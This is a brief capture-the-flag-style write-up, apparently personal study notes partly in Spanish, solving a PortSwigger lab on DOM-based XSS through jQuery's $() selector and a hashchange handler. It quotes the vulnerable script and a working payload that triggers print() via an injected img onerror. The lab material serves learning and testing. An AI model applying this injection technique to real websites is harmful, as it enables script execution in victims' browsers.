DOM XSS in jQuery selector sink using a hashchange event
This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.
https://siunam321.github.io/ctf/portswigger-labs/Cross-Site-Scripting/xss-6/
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>
- se utiliza
$()como selector - location.hash : permite darle la propiedad por la cual se realizara el scroll y es controlado por el usuario
URL/#" onload="this.src+='<img src=errorpls onerror=print()>'">
- cerramos para que tenga un valor vacio un hash con valor vacio, luego agregamos un segundo valor, el payload XSS, causan do que hashchange se ejecute